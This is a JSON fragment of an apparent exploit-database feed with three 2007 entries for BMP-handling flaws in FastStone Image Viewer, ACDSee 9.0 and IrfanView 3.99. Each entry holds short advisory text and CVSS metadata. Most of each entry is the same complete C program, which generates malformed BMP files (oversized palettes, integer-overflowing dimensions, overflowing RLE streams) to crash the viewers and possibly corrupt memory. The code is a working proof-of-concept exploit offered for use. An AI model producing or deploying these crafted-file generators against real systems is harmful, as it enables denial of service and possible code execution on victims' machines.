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CVE-2007-1942. Dos exploit for windows platform", "modified": "2007-04-04T00:00:00", "published": "2007-04-04T00:00:00", "id": "EDB-ID:29816", "href": "https://www.exploit-db.com/exploits/29816/", "type": "exploitdb", "title": "FastStone Image Viewer 2.9/3.6 BMP Image Handling Memory Corruption", "sourceData": "source: http://www.securityfocus.com/bid/23312/info\r\n\r\nFastStone Image Viewer is prone to multiple denial-of-service vulnerabilities because the application fails to properly handle malformed BMP image files.\r\n\r\nSuccessfully exploiting these issues allows attackers to crash the affected application. Given the nature of these issues, attackers may also be able to run arbitrary code, but this has not been confirmed.\r\n\r\nFastStone Image Viewer 2.9 and 3.6 are affected. \r\n\r\n#include <stdio.h>\r\n#include <stdlib.h>\r\n#include <string.h>\r\n\r\n\r\nstruct BITMAPFILEHEADER {\r\nunsigned int bfSize;\r\nunsigned int bfReserved;\r\nunsigned int bfOffBits;\r\n};\r\n\r\nstruct BITMAPINFOHEADER {\r\nunsigned int biSize;\r\nunsigned int biWidth;\r\nunsigned int biHeight;\r\nunsigned short biPlanes;\r\nunsigned short biBitCount;\r\nunsigned int biCompression;\r\nunsigned int biSizeImage;\r\nunsigned int biXPelsPerMeter;\r\nunsigned int biYPelsPerMeter;\r\nunsigned int biClrUsed;\r\nunsigned int biClrImportant;\r\n};\r\n\r\nvoid writebmp(char *filename, unsigned long width, unsigned long height, unsigned int bpp, unsigned int compression, unsigned char *palette, long numpalettecolors, unsigned char *data, long numdatabytes) {\r\nBITMAPFILEHEADER fileheader;\r\nBITMAPINFOHEADER infoheader;\r\n\r\nmemset(&fileheader,0,sizeof(BITMAPFILEHEADER));\r\nmemset(&infoheader,0,sizeof(BITMAPINFOHEADER));\r\n\r\nunsigned char sig[2];\r\nsig[0] = 'B';\r\nsig[1] = 'M';\r\n\r\nfileheader.bfSize = sizeof(sig)+sizeof(BITMAPFILEHEADER)+sizeof(BITMAPINFOHEADER)+numpalettecolors*4+numdatabytes;\r\nfileheader.bfOffBits = sizeof(sig)+sizeof(BITMAPFILEHEADER)+sizeof(BITMAPINFOHEADER)+numpalettecolors*4;\r\n\r\ninfoheader.biSize = 40;\r\ninfoheader.biWidth = width;\r\ninfoheader.biHeight = height;\r\ninfoheader.biPlanes = 1;\r\ninfoheader.biBitCount = bpp;\r\ninfoheader.biCompression = compression;\r\ninfoheader.biClrUsed = numpalettecolors;\r\n\r\nFILE *fp = fopen(filename,\"wb\");\r\nfwrite(&sig,sizeof(sig),1,fp);\r\nfwrite(&fileheader,sizeof(BITMAPFILEHEADER),1,fp);\r\nfwrite(&infoheader,sizeof(BITMAPINFOHEADER),1,fp);\r\nif(palette) fwrite(palette,numpalettecolors*4,1,fp);\r\nfwrite(data,numdatabytes,1,fp);\r\nfclose(fp);\r\n}\r\n\r\nint main() {\r\nunsigned char * buf;\r\nbuf = (unsigned char *)malloc(4000000);\r\nmemset(buf,0,4000000);\r\nunsigned char * buf2;\r\nbuf2 = (unsigned char *)malloc(4000000);\r\nmemset(buf2,0,4000000);\r\n\r\n//overflows specifying too large palette\r\nwritebmp(\"ok8bit.bmp\",16,16,8,0,buf,256,buf,16*16);\r\nwritebmp(\"paletteof1.bmp\",16,16,8,0,buf,65535,buf,16*16);\r\nwritebmp(\"paletteof2.bmp\",16,16,8,0,buf,1000000,buf,16*16);\r\n\r\n//integer overflows with image dimensions\r\nwritebmp(\"ok24bit.bmp\",16,16,24,0,NULL,0,buf,16*16*4);\r\nwritebmp(\"wh4intof.bmp\",32769,32768,24,0,NULL,0,buf,4000000);\r\nwritebmp(\"wh3intof.bmp\",37838,37838,24,0,NULL,0,buf,4000000);\r\nwritebmp(\"w4intof.bmp\",1073741825,1,24,0,NULL,0,buf,4000000);\r\nwritebmp(\"w3intof.bmp\",1431655767,1,24,0,NULL,0,buf,4000000);\r\n\r\n//overflows with RLE encoded BMPs\r\nbuf2[0]=16;\r\nbuf2[1]=0;\r\nwritebmp(\"okRLE.bmp\",16,1,8,1,buf,256,buf2,2);\r\nfor(long i=0;i<500000;i++) {\r\nbuf2[i*2]=255;\r\nbuf2[i*2+1]=0;\r\n}\r\nwritebmp(\"rle8of1.bmp\",16,1,8,1,buf,256,buf2,1000000);\r\nbuf2[0]=15;\r\nbuf2[1]=0;\r\nfor(long i=1;i<500000;i++) {\r\nbuf2[i*2]=255;\r\nbuf2[i*2+1]=0;\r\n}\r\nwritebmp(\"rle8of2.bmp\",16,1,8,1,buf,256,buf2,1000000);\r\nmemset(buf2,0,4000000);\r\nbuf2[0]=0;\r\nbuf2[1]=2;\r\nbuf2[2]=255;\r\nbuf2[3]=0;\r\nfor(long i=4;i<100000-1;) {\r\nbuf2[i]=0;\r\nbuf2[i+1]=254;\r\ni+=255;\r\n}\r\nwritebmp(\"rle8of3.bmp\",16,1,8,1,buf,256,buf2,1000000);\r\nmemset(buf2,0,4000000);\r\nfor(long i=0;i<100000-1;) {\r\nbuf2[i]=0;\r\nbuf2[i+1]=254;\r\ni+=255;\r\n}\r\nwritebmp(\"rle8of4.bmp\",16,1,8,1,buf,256,buf2,1000000);\r\n} \r\n", "cvss": {"score": 9.3, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}, "sourceHref": "https://www.exploit-db.com/download/29816/"}, {"lastseen": "2016-02-03T11:11:55", "bulletinFamily": "exploit", "description": "ACDSee 9.0 Photo Manager Multiple BMP Denial of Service Vulnerabilities. CVE-2007-1943. Dos exploit for windows platform", "modified": "2007-04-04T00:00:00", "published": "2007-04-04T00:00:00", "id": "EDB-ID:29818", "href": "https://www.exploit-db.com/exploits/29818/", "type": "exploitdb", "title": "ACDSee 9.0 Photo Manager Multiple BMP Denial of Service Vulnerabilities", "sourceData": "source: http://www.securityfocus.com/bid/23317/info\r\n\r\nACDSee 9.0 Photo Manager is prone to multiple denial-of-service vulnerabilities because the application fails to properly handle malformed BMP image files.\r\n\r\nSuccessfully exploiting these issues allows attackers to crash the affected application. Due to the nature of the issues, code execution may also be possible, but this has not been confirmed.\r\n\r\nVersion 9.0 of the application is affected; other versions may also be vulnerable. \r\n\r\n#include <stdio.h>\r\n#include <stdlib.h>\r\n#include <string.h>\r\n\r\n\r\nstruct BITMAPFILEHEADER {\r\nunsigned int bfSize;\r\nunsigned int bfReserved;\r\nunsigned int bfOffBits;\r\n};\r\n\r\nstruct BITMAPINFOHEADER {\r\nunsigned int biSize;\r\nunsigned int biWidth;\r\nunsigned int biHeight;\r\nunsigned short biPlanes;\r\nunsigned short biBitCount;\r\nunsigned int biCompression;\r\nunsigned int biSizeImage;\r\nunsigned int biXPelsPerMeter;\r\nunsigned int biYPelsPerMeter;\r\nunsigned int biClrUsed;\r\nunsigned int biClrImportant;\r\n};\r\n\r\nvoid writebmp(char *filename, unsigned long width, unsigned long height, unsigned int bpp, unsigned int compression, unsigned char *palette, long numpalettecolors, unsigned char *data, long numdatabytes) {\r\nBITMAPFILEHEADER fileheader;\r\nBITMAPINFOHEADER infoheader;\r\n\r\nmemset(&fileheader,0,sizeof(BITMAPFILEHEADER));\r\nmemset(&infoheader,0,sizeof(BITMAPINFOHEADER));\r\n\r\nunsigned char sig[2];\r\nsig[0] = 'B';\r\nsig[1] = 'M';\r\n\r\nfileheader.bfSize = sizeof(sig)+sizeof(BITMAPFILEHEADER)+sizeof(BITMAPINFOHEADER)+numpalettecolors*4+numdatabytes;\r\nfileheader.bfOffBits = sizeof(sig)+sizeof(BITMAPFILEHEADER)+sizeof(BITMAPINFOHEADER)+numpalettecolors*4;\r\n\r\ninfoheader.biSize = 40;\r\ninfoheader.biWidth = width;\r\ninfoheader.biHeight = height;\r\ninfoheader.biPlanes = 1;\r\ninfoheader.biBitCount = bpp;\r\ninfoheader.biCompression = compression;\r\ninfoheader.biClrUsed = numpalettecolors;\r\n\r\nFILE *fp = fopen(filename,\"wb\");\r\nfwrite(&sig,sizeof(sig),1,fp);\r\nfwrite(&fileheader,sizeof(BITMAPFILEHEADER),1,fp);\r\nfwrite(&infoheader,sizeof(BITMAPINFOHEADER),1,fp);\r\nif(palette) fwrite(palette,numpalettecolors*4,1,fp);\r\nfwrite(data,numdatabytes,1,fp);\r\nfclose(fp);\r\n}\r\n\r\nint main() {\r\nunsigned char * buf;\r\nbuf = (unsigned char *)malloc(4000000);\r\nmemset(buf,0,4000000);\r\nunsigned char * buf2;\r\nbuf2 = (unsigned char *)malloc(4000000);\r\nmemset(buf2,0,4000000);\r\n\r\n//overflows specifying too large palette\r\nwritebmp(\"ok8bit.bmp\",16,16,8,0,buf,256,buf,16*16);\r\nwritebmp(\"paletteof1.bmp\",16,16,8,0,buf,65535,buf,16*16);\r\nwritebmp(\"paletteof2.bmp\",16,16,8,0,buf,1000000,buf,16*16);\r\n\r\n//integer overflows with image dimensions\r\nwritebmp(\"ok24bit.bmp\",16,16,24,0,NULL,0,buf,16*16*4);\r\nwritebmp(\"wh4intof.bmp\",32769,32768,24,0,NULL,0,buf,4000000);\r\nwritebmp(\"wh3intof.bmp\",37838,37838,24,0,NULL,0,buf,4000000);\r\nwritebmp(\"w4intof.bmp\",1073741825,1,24,0,NULL,0,buf,4000000);\r\nwritebmp(\"w3intof.bmp\",1431655767,1,24,0,NULL,0,buf,4000000);\r\n\r\n//overflows with RLE encoded BMPs\r\nbuf2[0]=16;\r\nbuf2[1]=0;\r\nwritebmp(\"okRLE.bmp\",16,1,8,1,buf,256,buf2,2);\r\nfor(long i=0;i<500000;i++) {\r\nbuf2[i*2]=255;\r\nbuf2[i*2+1]=0;\r\n}\r\nwritebmp(\"rle8of1.bmp\",16,1,8,1,buf,256,buf2,1000000);\r\nbuf2[0]=15;\r\nbuf2[1]=0;\r\nfor(long i=1;i<500000;i++) {\r\nbuf2[i*2]=255;\r\nbuf2[i*2+1]=0;\r\n}\r\nwritebmp(\"rle8of2.bmp\",16,1,8,1,buf,256,buf2,1000000);\r\nmemset(buf2,0,4000000);\r\nbuf2[0]=0;\r\nbuf2[1]=2;\r\nbuf2[2]=255;\r\nbuf2[3]=0;\r\nfor(long i=4;i<100000-1;) {\r\nbuf2[i]=0;\r\nbuf2[i+1]=254;\r\ni+=255;\r\n}\r\nwritebmp(\"rle8of3.bmp\",16,1,8,1,buf,256,buf2,1000000);\r\nmemset(buf2,0,4000000);\r\nfor(long i=0;i<100000-1;) {\r\nbuf2[i]=0;\r\nbuf2[i+1]=254;\r\ni+=255;\r\n}\r\nwritebmp(\"rle8of4.bmp\",16,1,8,1,buf,256,buf2,1000000);\r\n} \r\n", "cvss": {"score": 9.3, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}, "sourceHref": "https://www.exploit-db.com/download/29818/"}, {"lastseen": "2016-02-03T11:12:03", "bulletinFamily": "exploit", "description": "IrfanView 3.99 Multiple BMP Denial of Service Vulnerabilities. CVE-2007-1948. Dos exploit for windows platform", "modified": "2007-04-04T00:00:00", "published": "2007-04-04T00:00:00", "id": "EDB-ID:29819", "href": "https://www.exploit-db.com/exploits/29819/", "type": "exploitdb", "title": "IrfanView 3.99 - Multiple BMP Denial of Service Vulnerabilities", "sourceData": "source: http://www.securityfocus.com/bid/23318/info\r\n\r\nIrfanView is prone to multiple denial-of-service vulnerabilities because the application fails to properly handle malformed BMP image files.\r\n\r\nSuccessfully exploiting these issues allows attackers to crash the affected application. Due to the nature of the issues, code execution may also be possible, but this has not been confirmed.\r\n\r\nIrfanView 3.99 is affected; other versions may also be vulnerable. \r\n\r\n#include <stdio.h>\r\n#include <stdlib.h>\r\n#include <string.h>\r\n\r\n\r\nstruct BITMAPFILEHEADER {\r\nunsigned int bfSize;\r\nunsigned int bfReserved;\r\nunsigned int bfOffBits;\r\n};\r\n\r\nstruct BITMAPINFOHEADER {\r\nunsigned int biSize;\r\nunsigned int biWidth;\r\nunsigned int biHeight;\r\nunsigned short biPlanes;\r\nunsigned short biBitCount;\r\nunsigned int biCompression;\r\nunsigned int biSizeImage;\r\nunsigned int biXPelsPerMeter;\r\nunsigned int biYPelsPerMeter;\r\nunsigned int biClrUsed;\r\nunsigned int biClrImportant;\r\n};\r\n\r\nvoid writebmp(char *filename, unsigned long width, unsigned long height, unsigned int bpp, unsigned int compression, unsigned char *palette, long numpalettecolors, unsigned char *data, long numdatabytes) {\r\nBITMAPFILEHEADER fileheader;\r\nBITMAPINFOHEADER infoheader;\r\n\r\nmemset(&fileheader,0,sizeof(BITMAPFILEHEADER));\r\nmemset(&infoheader,0,sizeof(BITMAPINFOHEADER));\r\n\r\nunsigned char sig[2];\r\nsig[0] = 'B';\r\nsig[1] = 'M';\r\n\r\nfileheader.bfSize = sizeof(sig)+sizeof(BITMAPFILEHEADER)+sizeof(BITMAPINFOHEADER)+numpalettecolors*4+numdatabytes;\r\nfileheader.bfOffBits = sizeof(sig)+sizeof(BITMAPFILEHEADER)+sizeof(BITMAPINFOHEADER)+numpalettecolors*4;\r\n\r\ninfoheader.biSize = 40;\r\ninfoheader.biWidth = width;\r\ninfoheader.biHeight = height;\r\ninfoheader.biPlanes = 1;\r\ninfoheader.biBitCount = bpp;\r\ninfoheader.biCompression = compression;\r\ninfoheader.biClrUsed = numpalettecolors;\r\n\r\nFILE *fp = fopen(filename,\"wb\");\r\nfwrite(&sig,sizeof(sig),1,fp);\r\nfwrite(&fileheader,sizeof(BITMAPFILEHEADER),1,fp);\r\nfwrite(&infoheader,sizeof(BITMAPINFOHEADER),1,fp);\r\nif(palette) fwrite(palette,numpalettecolors*4,1,fp);\r\nfwrite(data,numdatabytes,1,fp);\r\nfclose(fp);\r\n}\r\n\r\nint main() {\r\nunsigned char * buf;\r\nbuf = (unsigned char *)malloc(4000000);\r\nmemset(buf,0,4000000);\r\nunsigned char * buf2;\r\nbuf2 = (unsigned char *)malloc(4000000);\r\nmemset(buf2,0,4000000);\r\n\r\n//overflows specifying too large palette\r\nwritebmp(\"ok8bit.bmp\",16,16,8,0,buf,256,buf,16*16);\r\nwritebmp(\"paletteof1.bmp\",16,16,8,0,buf,65535,buf,16*16);\r\nwritebmp(\"paletteof2.bmp\",16,16,8,0,buf,1000000,buf,16*16);\r\n\r\n//integer overflows with image dimensions\r\nwritebmp(\"ok24bit.bmp\",16,16,24,0,NULL,0,buf,16*16*4);\r\nwritebmp(\"wh4intof.bmp\",32769,32768,24,0,NULL,0,buf,4000000);\r\nwritebmp(\"wh3intof.bmp\",37838,37838,24,0,NULL,0,buf,4000000);\r\nwritebmp(\"w4intof.bmp\",1073741825,1,24,0,NULL,0,buf,4000000);\r\nwritebmp(\"w3intof.bmp\",1431655767,1,24,0,NULL,0,buf,4000000);\r\n\r\n//overflows with RLE encoded BMPs\r\nbuf2[0]=16;\r\nbuf2[1]=0;\r\nwritebmp(\"okRLE.bmp\",16,1,8,1,buf,256,buf2,2);\r\nfor(long i=0;i<500000;i++) {\r\nbuf2[i*2]=255;\r\nbuf2[i*2+1]=0;\r\n}\r\nwritebmp(\"rle8of1.bmp\",16,1,8,1,buf,256,buf2,1000000);\r\nbuf2[0]=15;\r\nbuf2[1]=0;\r\nfor(long i=1;i<500000;i++) {\r\nbuf2[i*2]=255;\r\nbuf2[i*2+1]=0;\r\n}\r\nwritebmp(\"rle8of2.bmp\",16,1,8,1,buf,256,buf2,1000000);\r\nmemset(buf2,0,4000000);\r\nbuf2[0]=0;\r\nbuf2[1]=2;\r\nbuf2[2]=255;\r\nbuf2[3]=0;\r\nfor(long i=4;i<100000-1;) {\r\nbuf2[i]=0;\r\nbuf2[i+1]=254;\r\ni+=255;\r\n}\r\nwritebmp(\"rle8of3.bmp\",16,1,8,1,buf,256,buf2,1000000);\r\nmemset(buf2,0,4000000);\r\nfor(long i=0;i<100000-1;) {\r\nbuf2[i]=0;\r\nbuf2[i+1]=254;\r\ni+=255;\r\n}\r\nwritebmp(\"rle8of4.bmp\",16,1,8,1,buf,256,buf2,1000000);\r\n} \r\n", "cvss": {"score": 9.3, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}, "sourceHref": "https://www.exploit-db.com/download/29819/"}]}